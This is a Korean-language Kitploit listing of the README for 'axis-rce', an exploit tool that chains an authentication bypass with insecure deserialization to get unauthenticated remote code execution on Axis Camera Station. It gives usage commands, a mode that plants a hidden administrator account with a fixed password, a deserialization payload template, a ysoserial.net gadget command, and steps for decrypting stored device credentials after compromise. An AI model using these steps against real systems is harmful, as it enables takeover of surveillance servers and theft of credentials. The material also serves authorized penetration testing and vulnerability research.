Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
axis-RCE — Axis Camera Station(ACS)의 비인증 RCE로, CVE‑2025‑30026(인증 우회) + CVE‑2025‑30023(안전하지 않은 역직렬화)를 연계한 취약점 | Kitploit
도구/GitHubGitHub/ricardojoserf/axis-rce
IoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationCryptographyPenetration TestingAuthenticationRed TeamingPayload Development
GitHubricardojoserf/axis-rce

axis-RCE

Axis Camera Station(ACS)의 비인증 RCE로, CVE‑2025‑30026(인증 우회) + CVE‑2025‑30023(안전하지 않은 역직렬화)를 연계한 취약점

612일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기웹사이트

CVE-2025-30026 + CVE-2025-30023: 인증 없는 RCE

이 익스플로잇은 CVE‑2025‑30026(인증 우회)과 CVE‑2025‑30023(안전하지 않은 역직렬화)을 연쇄하여 Axis Camera Station 소프트웨어에서 인증 없는 RCE를 달성합니다. 이는 로그인 메커니즘을 우회하고 임의 명령 실행을 유발하는 악성 직렬화 페이로드를 전달하여 공격자가 대상 머신을 완전히 제어할 수 있게 합니다.

두 취약점 모두 6.9 이전 버전의 Axis Camera Station Pro와 5.58 이전 버전의 Axis Camera Station에 영향을 미칩니다.

이는 프로토콜과 관련 취약점을 설명하는 Claroty의 블로그 게시물 "Turning Camera Surveillance on its Axis"를 기반으로 합니다.



사용법

python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
플래그설명
--host대상 IP/호스트 (필수).
--port대상 포트 (기본값 55752).
--keyPEM 형식의 클라이언트 RSA-2048 개인 키 (필수).
--json전송할 Request를 담은 로컬 JSON 파일.
--version버전 정보를 가져오기 위한 VersionFacade.get_ProductVersion Request.
--adduser비밀번호 ThisIsIt123으로 사용자 ricardo를 생성하고 Administrators 그룹에 추가.
--wait핸드셰이크 후 채널에서 수신 대기할 시간(초) (기본값 5).
--listenRequest 전송 후 응답을 기다릴 시간(초) (기본값 15).

요구 사항

의존성을 설치하고 클라이언트용 PEM 형식의 RSA 개인 키를 생성합니다:

pip install cryptography
openssl genrsa -out client_priv.pem 2048

예제

제품 버전을 조회하여 해당 버전이 취약한지 확인합니다:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

img1

역직렬화를 악용하여 비밀번호가 ThisIsIt123인 관리자 사용자 ricardo를 생성합니다:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser

img2

img3

JSON 파일에서 사용자 지정 Request를 전송하여 임의의 명령을 실행합니다:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json

Request 파일 형식

Request는 단일 "Request" 키를 가진 JSON 객체입니다. 역직렬화를 악용하는 형식은 다음과 같습니다:

{
    "Request": {
        "Id": "random123456",
        "Service": "SessionFacade",
        "Method": "LogOnAsync",
        "Parameters": {
            "uri": "http://192.168.1.197:55752/",
            "clientInformationDto": {
                "$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                "System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
            },
            "communicationType": 0,
            "ct": "random123456"
        }
    }
}

clientInformationDto 필드의 값은 WindowsIdentity와 같은 가젯과 함께 Ysoserial.net을 사용하여 얻을 수 있으며, 이는 이 취약점을 악용하는 데 상당히 안정적으로 보입니다(다른 가젯은 서비스를 충돌시킵니다):

ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw


추가 전리품

Windows 머신에 접근하게 되면, 서로 다른 장치에 연결하기 위한 자격 증명이 포함된 .FDB 데이터베이스에 접근할 수 있습니다. 이 데이터베이스는 취약한 AES 구현으로 암호화되어 있으며, 호스트의 볼륨 일련 번호를 사용하여 즉시 복호화하거나 GPU를 사용하여 몇 분 만에 무차별 대입 공격으로 해독할 수 있습니다.

이 저장소의 스크립트를 사용하여 이를 악용할 수 있습니다: CVE-2026-63286.



프로토콜 작동 방식

AXIS Camera Station은 HTTP 위에 상태 저장 바이너리 프로토콜을 감쌉니다. 연결당 하나의 요청/응답을 사용하는 대신, 두 개의 장기 채널을 열고 연결이 닫힐 때까지 그 위로 프레임 메시지를 스트리밍합니다.

계층세부 사항
전송포트 55752를 통한 HTTP. GET /_/는 RX(수신) 채널을 열고, POST /_/<channelID>는 TX(송신) 채널이며 각 메시지는 POST 본문에 담깁니다.
RX 프레이밍HTTP chunked 본문; 그 내부에서 제어 프레임은 [uint32 LE length][data] 형식입니다.
핸드셰이크양측이 공개 키를 교환한 다음, 상대방의 공개 키로 감싼 무작위 AES 세션 키를 교환합니다.
키 형식클라이언트는 자신의 X.509 인증서(base64)를 전송합니다. AES 키는 base64(wrapped_key):base64(iv) 형식으로 전송됩니다.
RSA 래핑PKCS#1 v1.5.
채널PKCS#7 패딩을 사용하는 AES-256-CBC. 서버→클라이언트 프레임은 서버의 키 + IV를 사용합니다.
애플리케이션Axis.Remoting JSON. 클라이언트는 먼저 HELLO로 자신의 ClientId를 전송한 다음, {"Request":{"Id","Service","Method","Parameters"}}를 전송합니다.

핸드셰이크 시퀀스

RX  GET /_/                 <-  channelID
RX  (server pushes)         <-  server cert (X.509, base64)
RX  (server pushes)         <-  server AES key + IV  (wrapped)
TX  POST /_/<channelID>     ->  client cert (X.509, base64)
TX  POST /_/<channelID>     ->  client AES key + IV  (wrapped)
TX  POST /_/<channelID>     ->  HELLO (ClientId)
TX  POST /_/<channelID>     ->  encrypted JSON Request
RX  (server pushes)         <-  encrypted JSON Response


참고 사항

  • Windows 11에서 실행되는 버전 5.57.27610 및 5.57.33556에서 테스트되었습니다.

  • 역직렬화 공격은 불안정한 가젯이나 부적절한 매개변수를 사용할 경우 서비스를 중단시킬 수 있으므로, 항상 통제된 환경에서 테스트하십시오.

  • 이 스크립트는 교육 및 승인된 테스트 목적으로만 제공됩니다... 사용에 따른 책임은 사용자 본인에게 있습니다!

도구 다운로드